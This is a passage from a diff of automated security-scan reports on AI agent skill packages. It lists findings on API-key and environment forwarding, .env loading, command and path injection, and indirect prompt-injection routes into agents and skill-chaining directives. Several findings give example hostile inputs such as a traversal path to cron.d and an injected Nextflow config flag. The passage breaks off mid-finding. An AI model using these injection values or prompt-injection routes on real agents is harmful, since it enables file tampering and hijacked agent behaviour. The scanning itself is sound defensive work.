directory. Apply similar validation in verify_citations.py and search_databases.py.--- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Cross-File Exfiltration Chain: Environment Variables Sent to External Server- > The static analyzer identified a cross-file exfiltration chain spanning 3 files. The generate_schematic.py script reads OPENROUTER_API_KEY from the environment and passes it to generate_schematic_ai.py via subprocess and environment copy (os.environ.copy()), which then transmits it to https://openrouter.ai/api/v1. The chain is: generate_schematic.py (env read) → subprocess call → generate_schematic_ai.py (env read + HTTP POST with Bearer token). This multi-hop pattern is characteristic of credential harvesting pipelines.+- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Cross-File Exfiltration Chain: Environment Variables Passed Through Subprocess+ > The generate_schematic.py wrapper script reads OPENROUTER_API_KEY from the environment and explicitly passes it to a subprocess (generate_schematic_ai.py) via os.environ.copy(). This creates a cross-file exfiltration chain where environment variables (potentially including other sensitive variables beyond OPENROUTER_API_KEY) are copied wholesale into the subprocess environment. The comment in the code acknowledges this is done to 'avoid exposure in process listings' but the full environment copy means ALL environment variables are passed to the child process, not just the API key.> File: `scripts/generate_schematic.py`- > **Remediation:** The comment in the code states the API key is passed via environment 'to avoid exposure in process listings', which is a legitimate security practice. However, the full environment copy (os.environ.copy()) passes ALL environment variables to the subprocess, not just the API key. This could expose other sensitive environment variables. Use a minimal environment dict containing only required variables.+ > **Remediation:** Instead of copying the entire environment with os.environ.copy(), create a minimal environment dictionary containing only the variables required by the child process. This prevents inadvertent exposure of other sensitive environment variables (AWS credentials, SSH keys, tokens, etc.) to the subprocess.-- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — Subprocess Execution with User-Controlled Prompt Input- > In generate_schematic.py, the user-supplied prompt argument is passed directly into a subprocess command list. While using a list (not shell=True) mitigates shell injection, the prompt string is passed as a positional argument to generate_schematic_ai.py, which then uses it in API requests. If the downstream AI model interprets the prompt in unexpected ways or if the prompt is logged/stored externally, this could be exploited. The prompt is also embedded directly into HTTP request payloads sent to OpenRouter without sanitization.+- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — Unvalidated User Input Passed to Subprocess in Schematic Generator+ > The generate_schematic.py script accepts a user-provided 'prompt' argument from the command line and passes it directly to a subprocess call without sanitization. While the prompt is passed as a list argument (not via shell=True), the prompt string is also embedded directly into AI model requests and review prompts in generate_schematic_ai.py, where it is interpolated into f-strings that form the content of API requests. A malicious prompt could attempt to manipulate the AI model's behavior through the review and generation pipeline.> File: `scripts/generate_schematic.py`- > **Remediation:** Validate and sanitize the prompt input before passing it to subprocess commands and external APIs. Consider length limits and character filtering. Ensure the subprocess is invoked with a minimal environment rather than the full os.environ.copy().+ > **Remediation:** Validate and sanitize user-provided prompts before passing them to AI models. Implement input length limits and character allowlisting. Consider wrapping user input in explicit delimiters when constructing AI prompts to reduce prompt injection risk against the downstream AI model.++- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — API Key Harvesting via Environment Variable Access with External Network Calls+ > The generate_schematic_ai.py script reads the OPENROUTER_API_KEY environment variable and transmits it to an external API endpoint (https://openrouter.ai/api/v1). While this is nominally for legitimate AI image generation, the pattern of reading environment variables and making external network calls creates a data exfiltration risk. The script also scans for .env files in the current working directory and script directory, potentially harvesting credentials stored there. The API key is included in Authorization headers sent to external servers. Additionally, the cross-file chain (generate_schematic.py → generate_schematic_ai.py) passes the API key through subprocess calls, expanding the attack surface.+ > File: `scripts/generate_schematic_ai.py`+ > **Remediation:** Validate that the API key is only used for its stated purpose. Restrict .env file scanning to explicitly declared paths. Consider using a secrets manager rather than environment variables. Ensure the external endpoint (openrouter.ai) is the only destination for the API key and that no logging or error reporting inadvertently exposes it.-- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — API Key Exfiltration via Environment Variable Harvesting- > The generate_schematic_ai.py script reads the OPENROUTER_API_KEY environment variable and transmits it to an external API endpoint (https://openrouter.ai/api/v1). While OpenRouter is a legitimate service, the pattern of harvesting an API key from the environment and sending it over the network represents a credential exfiltration risk. The key is embedded in HTTP Authorization headers sent to an external server. Additionally, the script loads .env files from the current working directory or script directory, which could expose other secrets stored in those files beyond just the OpenRouter key.+- **🔵 LOW** `LLM_RESOURCE_ABUSE` — Unbounded Retry Loop with External API Calls+ > The generate_iterative() method in generate_schematic_ai.py implements a loop that makes multiple external API calls (image generation + review per iteration). While iterations are capped at 2, each iteration makes at least 2 API calls (generate + review), and failures in image extraction do not terminate the loop - they continue to the next iteration. The verify_citations.py script also loops over all DOIs in a document with only a 0.5-second rate limit delay, which could result in excessive API calls for large documents.> File: `scripts/generate_schematic_ai.py`- > **Remediation:** Ensure the OPENROUTER_API_KEY is scoped only to this skill's use. Avoid loading .env files broadly from the working directory, as this could expose unrelated secrets. Consider prompting the user explicitly for the API key rather than silently harvesting from the environment. Document clearly which credentials are accessed and transmitted.+ > **Remediation:** Implement exponential backoff and hard limits on total API calls. Add circuit breaker patterns for repeated failures. For citation verification, implement batching and configurable rate limits. Consider adding a total timeout for the entire generation process.++- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Unvalidated External URL Fetching in Citation Verifier+ > The verify_citations.py script makes outbound HTTP requests to doi.org and api.crossref.org with user-controlled DOI strings extracted from markdown files. While DOI verification is the stated purpose, the DOI extraction regex (r'10\.\d{4,}/[^\s\]\)"]+') is permissive and could match attacker-crafted strings in a document that redirect verification requests to arbitrary URLs. The script also calls session.head() on arbitrary URLs for URL verification without domain allowlisting.+ > File: `scripts/verify_citations.py`+ > **Remediation:** Validate extracted DOIs against a strict format before making network requests. Implement domain allowlisting for URL verification (only allow known academic domains). Add rate limiting and consider sandboxing network calls. Sanitize DOI strings to prevent path traversal or URL injection.++- **🟡 MEDIUM** `LLM_PROMPT_INJECTION` — Indirect Prompt Injection via External Document Content in Citation Verifier+ > The verify_citations.py script reads arbitrary markdown files provided by the user and processes their content to extract DOIs. The content of these external files is treated as trusted input. If a malicious document contains crafted content that matches the DOI regex pattern but is actually an injection payload, or if the document contains instructions that could influence downstream AI processing of the verification report, this creates an indirect prompt injection vector. The verification report (JSON) is also written to disk and could be read by the agent in subsequent steps.+ > File: `scripts/verify_citations.py`+ > **Remediation:** Treat the content of user-provided markdown files as untrusted. Sanitize extracted content before including it in reports that may be read by AI agents. Validate that extracted DOIs conform strictly to expected formats before processing.- **🟡 MEDIUM** `BEHAVIOR_ENV_VAR_HARVESTING` — Environment variable harvesting detected> Script iterates through environment variables in skills/literature-review/scripts/generate_schematic.py@@ -744,41 +760,46 @@- **🔴 CRITICAL** `BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION` — Cross-file env var exfiltration: 3 files> Environment variable access with network calls in scripts/convert_with_ai.py, scripts/generate_schematic.py, scripts/generate_schematic_ai.py- > **Remediation:** Review data flow across files: scripts/generate_schematic_ai.py, scripts/generate_schematic.py, scripts/convert_with_ai.py+ > **Remediation:** Review data flow across files: scripts/convert_with_ai.py, scripts/generate_schematic.py, scripts/generate_schematic_ai.py- **🔴 CRITICAL** `BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN` — Cross-file exfiltration chain: 3 files> Multi-file exfiltration chain detected: scripts/convert_with_ai.py, scripts/generate_schematic.py, scripts/generate_schematic_ai.py collect data → scripts/generate_schematic_ai.py → scripts/generate_schematic_ai.py transmit to network- > **Remediation:** Review data flow across files: scripts/generate_schematic_ai.py, scripts/generate_schematic.py, scripts/convert_with_ai.py+ > **Remediation:** Review data flow across files: scripts/convert_with_ai.py, scripts/generate_schematic.py, scripts/generate_schematic_ai.py-- **🟡 MEDIUM** `LLM_SKILL_DISCOVERY_ABUSE` — Capability Inflation via Cross-Skill Promotion (scientific-schematics)- > The SKILL.md instructions repeatedly and prominently promote a separate 'scientific-schematics' skill, instructing the agent to invoke it by default even when the user only requested document conversion. The instructions state 'Scientific schematics should be generated by default' and 'always consider adding scientific diagrams'. This inflates the activation surface of a separate skill beyond its intended scope, manipulating the agent into invoking additional capabilities the user did not request.+- **🟡 MEDIUM** `LLM_SKILL_DISCOVERY_ABUSE` — Cross-Skill Activation Injection via scientific-schematics Skill+ > The SKILL.md instruction body contains directives that instruct the agent to automatically invoke a separate 'scientific-schematics' skill ('Nano Banana Pro') whenever documents are created or converted. This is an unsolicited cross-skill activation pattern embedded in a file-conversion skill. The instructions state 'Scientific schematics should be generated by default' and 'Use the scientific-schematics skill to generate AI-powered publication-quality diagrams', effectively hijacking the agent's behavior to trigger a secondary skill without user request. This inflates the perceived scope of the markitdown skill and creates unauthorized skill chaining.> File: `SKILL.md`- > **Remediation:** Remove cross-skill promotion from SKILL.md. The markitdown skill should only describe its own file conversion capabilities. Any suggestion to use other skills should be left to the user's discretion.+ > **Remediation:** Remove the cross-skill activation directives from SKILL.md. A file-conversion skill should not instruct the agent to invoke other skills by default. If schematic generation is desired, it should be a separate, user-initiated action.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Dependencies- > The SKILL.md instructions recommend installing markitdown with 'pip install markitdown[all]' and other packages without version pinning. The scripts import from 'markitdown', 'openai', and 'requests' without version constraints. Unpinned dependencies are vulnerable to supply chain attacks where a malicious package version could be installed.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Capability Inflation: Skill Description Understates Actual Functionality+ > The skill is described as 'Convert files and office documents to Markdown' but includes a substantial AI image generation pipeline (generate_schematic.py, generate_schematic_ai.py) with iterative refinement, quality review, and external API calls. The SKILL.md instructions actively promote this secondary capability as a default behavior. This mismatch between the declared description and actual capabilities constitutes capability inflation and may cause the agent to invoke the skill in contexts where only document conversion was intended.> File: `SKILL.md`- > **Remediation:** Pin all dependencies to specific versions (e.g., markitdown==0.1.0, openai==1.x.x, requests==2.31.0). Provide a requirements.txt with pinned versions and hash verification.+ > **Remediation:** Update the skill description to accurately reflect all capabilities including AI schematic generation and external API usage. Alternatively, remove the schematic generation scripts from this skill package and maintain them as a separate skill.-- **🔵 LOW** `LLM_RESOURCE_ABUSE` — Unbounded Parallel Worker Execution- > The batch_convert.py script uses ThreadPoolExecutor with a configurable worker count (default 4, no upper bound enforced). Combined with recursive directory traversal, this could lead to excessive resource consumption if pointed at a large directory tree with many files.- > File: `scripts/batch_convert.py:75`- > **Remediation:** Enforce a maximum worker count (e.g., cap at 16). Add file count limits and size checks before initiating batch processing. Warn users when processing large numbers of files.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Third-Party Package Installation Instructions+ > The SKILL.md instructions recommend installing markitdown with 'pip install markitdown[all]' and 'pip install -e packages/markitdown[all]' without version pinning. The scripts also import from 'markitdown', 'openai', and 'requests' without version constraints. Unpinned dependencies are vulnerable to supply chain attacks where a malicious package version could be installed.+ > File: `SKILL.md`+ > **Remediation:** Pin dependency versions in installation instructions (e.g., 'pip install markitdown[all]==0.1.0'). Add a requirements.txt with pinned versions for all dependencies used by the scripts.++- **🟠 HIGH** `LLM_COMMAND_INJECTION` — Subprocess Command Injection via Unsanitized User Prompt+ > In generate_schematic.py, the user-supplied 'prompt' argument is passed directly into a subprocess command list that executes generate_schematic_ai.py. While using a list-form subprocess.run() call (rather than shell=True) mitigates shell injection, the user-controlled prompt string is passed as a command-line argument to a child Python process. The child process (generate_schematic_ai.py) then uses this prompt directly in API requests and file path construction. Additionally, the output path argument (-o) is user-controlled and passed directly to subprocess without sanitization, enabling potential path traversal in file writes.+ > File: `scripts/generate_schematic.py`+ > **Remediation:** Validate and sanitize the output path to prevent path traversal (e.g., resolve to an absolute path within an allowed directory). Validate prompt length and content before passing to subprocess. Consider passing arguments via stdin or a temp file rather than command-line arguments.-- **🔵 LOW** `LLM_UNAUTHORIZED_TOOL_USE` — Dynamic Plugin Loading Without Integrity Verification- > The skill supports enabling third-party MarkItDown plugins via --use-plugins flag and enable_plugins=True parameter. Plugins are discovered from installed Python packages without any integrity verification, signature checking, or allowlisting. A malicious plugin installed in the Python environment could execute arbitrary code during document conversion.- > File: `scripts/batch_convert.py:82`- > **Remediation:** Document the security risks of enabling plugins. Recommend users only enable plugins from trusted, verified sources. Consider disabling plugin support by default and requiring explicit user confirmation before enabling.+- **🟡 MEDIUM** `LLM_UNAUTHORIZED_TOOL_USE` — Unauthorized Tool Use: Bash Subprocess Execution Not Declared in Skill Scope+ > The allowed-tools manifest declares [Read, Write, Edit, Bash], and the skill uses Bash via subprocess.run() in generate_schematic.py to execute another Python script. While Bash is declared, the skill uses it to spawn child processes that make external network calls to openrouter.ai, which is a significant capability not clearly communicated in the skill description. The skill description only mentions file-to-Markdown conversion, but the scripts include a full AI image generation pipeline with iterative refinement and external API calls, representing undisclosed capabilities.+ > File: `scripts/generate_schematic.py`+ > **Remediation:** Update the skill description to explicitly disclose that the skill makes external API calls to openrouter.ai for AI image generation. Separate the schematic generation capability into its own skill with appropriate manifest declarations.-- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — API Key Exposure via Hardcoded Placeholder in Documentation- > Multiple locations in SKILL.md and scripts contain placeholder API key strings (e.g., 'your-openrouter-api-key') in code examples. While these are placeholders, the pattern normalizes embedding API keys directly in code. More critically, the scripts accept API keys via command-line arguments (--api-key flag), which exposes secrets in process listings. The generate_schematic.py script explicitly notes it passes the key via environment to avoid process listing exposure, but the convert_with_ai.py script accepts --api-key directly.- > File: `scripts/convert_with_ai.py:107`- > **Remediation:** Remove --api-key CLI argument from all scripts. Require API keys exclusively via environment variables (OPENROUTER_API_KEY). Document secure key management practices.+- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — API Key Exposure via Environment Variable Harvesting and Network Transmission+ > Multiple scripts (generate_schematic.py, generate_schematic_ai.py, convert_with_ai.py) read the OPENROUTER_API_KEY environment variable and transmit it to external API endpoints. While OpenRouter is a legitimate service, the pattern of harvesting environment variables and sending them over the network represents a data exfiltration risk. The generate_schematic_ai.py script also attempts to load .env files from the current working directory and script directory, broadening the credential harvesting surface. The static analyzer confirmed cross-file environment variable exfiltration chains across 3 files.+ > File: `scripts/generate_schematic_ai.py`+ > **Remediation:** Limit credential access to explicit user-provided values only. Do not auto-scan .env files from arbitrary directories. Ensure API keys are only used for their stated purpose and document clearly that credentials will be transmitted to openrouter.ai.-- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Environment Variable Harvesting with External Network Transmission- > The scripts read the OPENROUTER_API_KEY environment variable and transmit it to an external API endpoint (openrouter.ai). While this is the intended functionality for API authentication, the pattern of reading environment variables and sending them to external servers creates a data exfiltration risk if the API endpoint or model identifier is tampered with. The generate_schematic_ai.py script also loads .env files from the filesystem, expanding the credential harvesting surface.- > File: `scripts/generate_schematic_ai.py:88`- > **Remediation:** Limit .env file loading to explicitly documented behavior. Validate the API endpoint is a known, trusted domain before transmitting credentials. Consider pinning the base_url to prevent redirection attacks.+- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Arbitrary File Write via User-Controlled Output Path+ > In generate_schematic_ai.py, the output_path parameter is taken directly from user input and used to create directories (mkdir(parents=True, exist_ok=True)) and write files. This allows a user to specify paths like '../../etc/cron.d/malicious' or other sensitive locations, enabling arbitrary file writes anywhere the agent process has write permissions. The script also writes a JSON review log at a derived path (base_name + '_review_log.json') in the same directory, creating additional uncontrolled file writes.+ > File: `scripts/generate_schematic_ai.py`+ > **Remediation:** Resolve output paths to absolute paths and validate they fall within an allowed output directory. Reject paths containing '..' components. Apply the same validation to the auto-generated review log path.- **🟡 MEDIUM** `BEHAVIOR_ENV_VAR_HARVESTING` — Environment variable harvesting detected> Script iterates through environment variables in skills/markitdown/scripts/convert_with_ai.py@@ -803,34 +824,34 @@### pacsomatic — 🔴 CRITICAL- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools and compatibility Metadata- > The SKILL.md manifest does not specify allowed-tools or compatibility fields. While these are optional per the spec, their absence means there are no declared constraints on what tools the agent may use when executing this skill. The skill executes subprocess calls, writes files, and potentially clones git repositories, which are significant capabilities that benefit from explicit declaration.+ > The SKILL.md manifest does not specify allowed-tools or compatibility fields. While these are optional per the spec, their absence means there are no declared constraints on what tools the agent may use when invoking this skill. The skill executes subprocesses, writes files, and can clone git repositories, which are significant capabilities that should be declared.> File: `SKILL.md`- > **Remediation:** Add allowed-tools to the YAML frontmatter listing the tools actually used (e.g., Bash, Python). Add compatibility information describing supported platforms. This improves transparency and allows downstream security tooling to detect violations.+ > **Remediation:** Add allowed-tools to the YAML frontmatter listing the tools actually used (e.g., Bash, Python, Write). Add a compatibility field describing supported environments. This improves transparency and allows agent runtimes to enforce capability boundaries.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Pipeline Version and Remote Repository Cloning- > The skill defaults to cloning from https://github.com/nf-core/pacsomatic.git without pinning a specific commit or tag. The --pipeline-version flag is optional and defaults to empty, meaning the latest HEAD is used. This creates a supply chain risk where a compromised or updated upstream repository could alter pipeline behavior without the user's knowledge.- > File: `scripts/run_pacsomatic.py:113`- > **Remediation:** Recommend or enforce use of --pipeline-version with a pinned release tag or commit hash. Document this as a best practice in SKILL.md (it is mentioned in references/pacsomatic_guide.md but not enforced). Consider warning when --pipeline-version is not set in --run mode.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Pipeline Version and Remote Repository Clone+ > The skill defaults to cloning from https://github.com/nf-core/pacsomatic.git without pinning a specific commit or tag. The --pipeline-version flag is optional and defaults to empty. This means the pipeline code fetched at runtime may change between runs, introducing supply chain risk if the upstream repository is compromised or updated with breaking/malicious changes.+ > File: `scripts/run_pacsomatic.py:100`+ > **Remediation:** Recommend or enforce pinning --pipeline-version to a specific release tag or commit hash. Document that omitting this flag reduces reproducibility and increases supply chain risk.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Sensitive Path Information Written to Samplesheet and Params Files- > The generated samplesheet CSV and params YAML contain full absolute paths to BAM files, reference FASTA, and output directories. These files are written to disk and their paths are printed to stdout. While this is expected behavior for a bioinformatics workflow tool, the agent should be aware that these artifacts may expose sensitive filesystem layout information if shared or logged.- > File: `scripts/run_pacsomatic.py:196`- > **Remediation:** Informational only. Ensure generated artifacts are written to appropriately permissioned directories. Consider documenting that samplesheet and params files contain sensitive path information and should not be shared publicly.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Remote BAM URLs Accepted Without Authentication or Integrity Verification+ > The skill explicitly supports remote BAM paths (http, https, s3, gs, ftp) and skips local existence checks for them. There is no validation of the remote URL domain, no integrity checking (e.g., checksums), and no authentication requirements. This could allow a user to point the pipeline at attacker-controlled remote BAM files.+ > File: `scripts/run_pacsomatic.py:155`+ > **Remediation:** Consider adding domain allowlisting for remote BAM URLs, or at minimum warn users that remote BAMs are fetched without integrity verification. For sensitive environments, consider disabling remote BAM support or requiring explicit opt-in.- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — Unsanitized --extra-args Passed Directly to Nextflow Command- > The --extra-args argument is split using shlex.split() and appended directly to the Nextflow command. While shlex.split() handles quoting, it does not prevent injection of arbitrary Nextflow flags or parameters. A malicious or careless user could inject flags like --config /etc/passwd or other Nextflow options that alter pipeline behavior in unintended ways. This is particularly relevant since the agent may construct this argument from user-provided natural language input.+ > The --extra-args argument is split using shlex.split and appended directly to the Nextflow command. While shlex.split provides some protection, it still allows arbitrary Nextflow flags to be injected by a user, potentially overriding security-relevant pipeline parameters or enabling unintended pipeline behaviors. There is no allowlist or validation of what extra arguments are permitted.> File: `scripts/run_pacsomatic.py:248`- > **Remediation:** Consider removing --extra-args or restricting it to a whitelist of known safe Nextflow flags. At minimum, document clearly that this argument accepts raw shell tokens and should not be populated from untrusted user input without validation.+ > **Remediation:** Either remove --extra-args entirely, or implement an allowlist of permitted Nextflow flags. At minimum, document clearly that this argument accepts untrusted input and should only be used by trusted operators.-- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — --module-load Argument Written Verbatim into Shell Script- > The --module-load argument is written directly into the generated bash launch script without any sanitization or escaping. If a user or agent provides a malicious value (e.g., containing semicolons, newlines, or subshell syntax), it would be executed as arbitrary shell code when the script runs. The script uses set -euo pipefail but this does not prevent injection via the module load line itself.- > File: `scripts/run_pacsomatic.py:295`- > **Remediation:** Validate --module-load against a strict allowlist pattern (e.g., only allow 'module load <name>/<version>' format). Alternatively, use shlex.quote() on the argument or split it into safe components before embedding in the script.+- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — --module-load Argument Written Directly into Shell Script Without Sanitization+ > The --module-load argument is written verbatim into the generated bash launch script without any sanitization or escaping. A malicious or misconfigured value could inject arbitrary shell commands into the generated script, which is then executed with bash when --run is used.+ > File: `scripts/run_pacsomatic.py:299`+ > **Remediation:** Validate --module-load against an allowlist pattern (e.g., only allow 'module load <name>/<version>' format). Alternatively, parse and reconstruct the module load command from validated components rather than embedding raw user input into the script.-- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — Shell Injection via shell=True with User-Controlled Script Path- > The execute_launch() function calls subprocess.run() with shell=True and a command string constructed from user-controlled input (the script_path argument, which derives from --script-path or default_script_path). While shlex.quote() is applied to the script path, using shell=True with a constructed string still introduces risk if any other part of the command string is ever modified or if the executor value is attacker-controlled. The executor value is constrained by argparse choices, but the overall pattern of shell=True with a dynamically constructed command string is a code quality/security concern.+- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — Shell Injection Risk via subprocess with shell=True and User-Controlled Input+ > The execute_launch function calls subprocess.run with shell=True and a command string constructed from user-supplied arguments (script_path, executor). While script_path is passed through shlex.quote, the overall pattern of shell=True with dynamically constructed command strings is inherently risky. If any upstream validation is bypassed or if the executor value is manipulated, this could lead to command injection. The submit_command_for_executor function builds shell command strings that are then executed with shell=True.> File: `scripts/run_pacsomatic.py:310`- > **Remediation:** Refactor execute_launch() to use a list-based subprocess call (shell=False) instead of shell=True. For example, parse the command string back into a list using shlex.split() or construct the list directly in submit_command_for_executor(). This eliminates shell interpretation entirely.+ > **Remediation:** Replace shell=True with a list-based subprocess call. For example, instead of building a shell string like 'bsub < script.sh', use subprocess.run(['bsub'], stdin=open(script_path), ...) without shell=True. This eliminates shell interpretation of the command string entirely.- **🔴 CRITICAL** `BEHAVIOR_EVAL_SUBPROCESS` — eval/exec combined with subprocess detected> Dangerous combination of code execution and system commands in skills/pacsomatic/scripts/run_pacsomatic.py@@ -841,46 +862,41 @@- **🔴 CRITICAL** `BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION` — Cross-file env var exfiltration: 2 files> Environment variable access with network calls in scripts/generate_schematic.py, scripts/generate_schematic_ai.py- > **Remediation:** Review data flow across files: scripts/generate_schematic_ai.py, scripts/generate_schematic.py+ > **Remediation:** Review data flow across files: scripts/generate_schematic.py, scripts/generate_schematic_ai.py- **🔴 CRITICAL** `BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN` — Cross-file exfiltration chain: 2 files> Multi-file exfiltration chain detected: scripts/generate_schematic.py, scripts/generate_schematic_ai.py collect data → scripts/generate_schematic_ai.py → scripts/generate_schematic_ai.py transmit to network- > **Remediation:** Review data flow across files: scripts/generate_schematic_ai.py, scripts/generate_schematic.py--- **🟡 MEDIUM** `LLM_UNAUTHORIZED_TOOL_USE` — Unauthorized Tool Use: Bash and Python Execution Not Declared in allowed-tools- > The SKILL.md manifest declares allowed-tools as 'Read Write Edit Bash', but the skill instructions explicitly direct the agent to execute Python scripts (python scripts/generate_schematic.py ...) and the scripts themselves use subprocess.run() to spawn child Python processes. The 'Python' tool is not listed in allowed-tools, yet Python execution is a core part of the skill's workflow. Additionally, the instructions direct the agent to run pdf_to_images.py from a different skill (scientific-slides), which is cross-skill tool invocation not declared in the manifest.- > File: `SKILL.md`- > **Remediation:** Add 'Python' to the allowed-tools list if Python execution is intended. Remove or clearly document the cross-skill dependency on scientific-slides. Ensure the manifest accurately reflects all tools and capabilities used by the skill.--- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Cross-Skill Capability Inflation: References Non-Existent 'scientific-schematics' Skill- > The SKILL.md instructions prominently advertise integration with a 'scientific-schematics' skill and 'Nano Banana Pro' product, directing the agent to use these for diagram generation. The instructions state 'Nano Banana Pro will automatically generate, review, and refine the schematic' and reference 'scientific-schematics skill documentation'. These references inflate the perceived capabilities of this skill by implying integration with external products/skills that may not exist or be installed, potentially causing the agent to attempt to invoke non-existent skills.- > File: `SKILL.md`- > **Remediation:** Remove references to external skills or products that are not bundled with this skill package. If cross-skill dependencies exist, document them explicitly in the manifest metadata rather than embedding them as implicit instructions. Verify that referenced skills are available before directing the agent to use them.--- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Cross-File Exfiltration Chain: Environment Variable Harvesting Across Two Scripts- > The static analyzer identified a cross-file exfiltration chain spanning generate_schematic.py and generate_schematic_ai.py. generate_schematic.py reads OPENROUTER_API_KEY from the environment (os.getenv), copies the entire environment (os.environ.copy()), and passes it to generate_schematic_ai.py via subprocess. generate_schematic_ai.py then uses this key in outbound HTTP requests. Passing the full os.environ.copy() to the subprocess means ALL environment variables (not just OPENROUTER_API_KEY) are forwarded to the child process, which could include AWS credentials, SSH keys, tokens, and other secrets present in the environment.- > File: `scripts/generate_schematic.py:108`- > **Remediation:** Instead of passing os.environ.copy() (which forwards ALL environment variables), construct a minimal environment containing only the variables needed by the child process. Example: env = {"OPENROUTER_API_KEY": api_key, "PATH": os.environ.get("PATH", "")}. This prevents inadvertent forwarding of sensitive credentials like AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, etc.--- **🔵 LOW** `LLM_DATA_EXFILTRATION` — API Key Potentially Exposed in .env File Loading from Current Working Directory- > The generate_schematic_ai.py script attempts to load a .env file from the current working directory (Path.cwd() / '.env') using python-dotenv. This means if the agent is run from a directory containing a .env file with sensitive credentials, those credentials will be loaded into the environment and potentially used or forwarded. The script loads from cwd without user awareness, which could inadvertently expose credentials from unrelated projects.- > File: `scripts/generate_schematic_ai.py:35`- > **Remediation:** Limit .env file loading to the skill's own directory only (not cwd). Document clearly that a .env file will be loaded if present. Consider requiring explicit opt-in for .env file loading rather than automatic discovery.--- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — API Key Exfiltration via External Network Calls with User-Controlled Prompt- > The scripts generate_schematic.py and generate_schematic_ai.py read the OPENROUTER_API_KEY from environment variables and transmit it in HTTP Authorization headers to an external API (openrouter.ai). While the stated purpose is AI image generation, the user-controlled 'prompt' argument is passed directly into API requests, and the API key is sent to an external server. The cross-file chain (generate_schematic.py → generate_schematic_ai.py) passes the API key via environment variable, and both scripts make outbound network calls with this credential. This constitutes credential exposure to an external third-party service.- > File: `scripts/generate_schematic_ai.py:130`- > **Remediation:** Ensure the API key is only used for its stated purpose and not logged or transmitted elsewhere. Validate that openrouter.ai is the intended and trusted endpoint. Consider scoping API key permissions. Warn users explicitly that their OPENROUTER_API_KEY will be transmitted to openrouter.ai before invoking the script.--- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — User-Controlled Prompt Passed Unsanitized to External AI API- > The user-supplied 'prompt' argument from the command line is passed directly and without sanitization into the API request payload sent to openrouter.ai. While this is a generation API rather than a code execution context, the prompt is also used to construct subsequent 'improved' prompts via improve_prompt(), which incorporates AI-generated critique text. This creates a chain where external AI-generated content (the critique) is concatenated into subsequent prompts without validation, enabling potential prompt injection through the review model's output influencing the generation model's input.- > File: `scripts/generate_schematic_ai.py:310`- > **Remediation:** Sanitize or validate the critique text returned from the review model before incorporating it into subsequent generation prompts. Consider using structured output formats for the review response rather than free-form text concatenation. Limit the length and content of critique text that can be injected into subsequent prompts.--- **🟡 MEDIUM** `LLM_PROMPT_INJECTION` — Indirect Prompt Injection via AI-Generated Critique Incorporated into Agent Instructions- > The generate_schematic_ai.py script retrieves free-form text from an external AI model (Gemini 3.1 Pro Preview via openrouter.ai) as a 'critique', then incorporates this externally-sourced text directly into subsequent prompts sent to another AI model. If the review model returns malicious or manipulative content in its critique, that content is injected verbatim into the next generation prompt. This is an indirect prompt injection vector where external AI-generated content can influence subsequent AI behavior without sanitization.+ > **Remediation:** Review data flow across files: scripts/generate_schematic.py, scripts/generate_schematic_ai.py++- **🟡 MEDIUM** `LLM_SKILL_DISCOVERY_ABUSE` — Cross-Skill Capability Inflation and Undisclosed External Dependencies+ > The SKILL.md instructions prominently advertise the 'scientific-schematics' skill and 'Nano Banana Pro' as if they are integrated capabilities, stating 'Nano Banana Pro will automatically generate, review, and refine the schematic.' This inflates the perceived capabilities of the peer-review skill and creates implicit trust in an external skill/product. The description does not mention that using this feature requires an external API key, sends data to third-party servers, or incurs API costs. This could mislead users about what the skill actually does.+ > File: `SKILL.md:28`+ > **Remediation:** Clearly disclose in the skill description that schematic generation requires external API credentials, sends data to third-party services, and incurs costs. Separate the peer-review functionality from the schematic generation feature. Do not present optional external dependencies as automatic built-in capabilities.++- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — Unvalidated User Input Passed to Subprocess Execution+ > In generate_schematic.py, the user-supplied prompt argument is passed directly into a subprocess command without sanitization. While it is passed as a list argument (reducing shell injection risk), the prompt string is also embedded into larger prompt strings in generate_schematic_ai.py using f-string interpolation and sent to external AI models. A malicious prompt could attempt to manipulate the AI model's behavior through prompt injection in the generated API requests.+ > File: `scripts/generate_schematic.py:89`+ > **Remediation:** Validate and sanitize user input before passing to subprocess. Implement input length limits and character allowlists. Consider wrapping the prompt in a structured format that clearly delineates user content from system instructions when constructing API payloads.++- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned External Dependencies and Unverified AI Model References+ > The scripts reference specific AI model identifiers ('google/gemini-3.1-flash-image-preview', 'google/gemini-3.1-pro-preview') via OpenRouter without version pinning or integrity verification. The requests library is imported without a pinned version. Model identifiers on third-party routing services like OpenRouter can be updated or replaced, potentially changing behavior without notice. Additionally, the 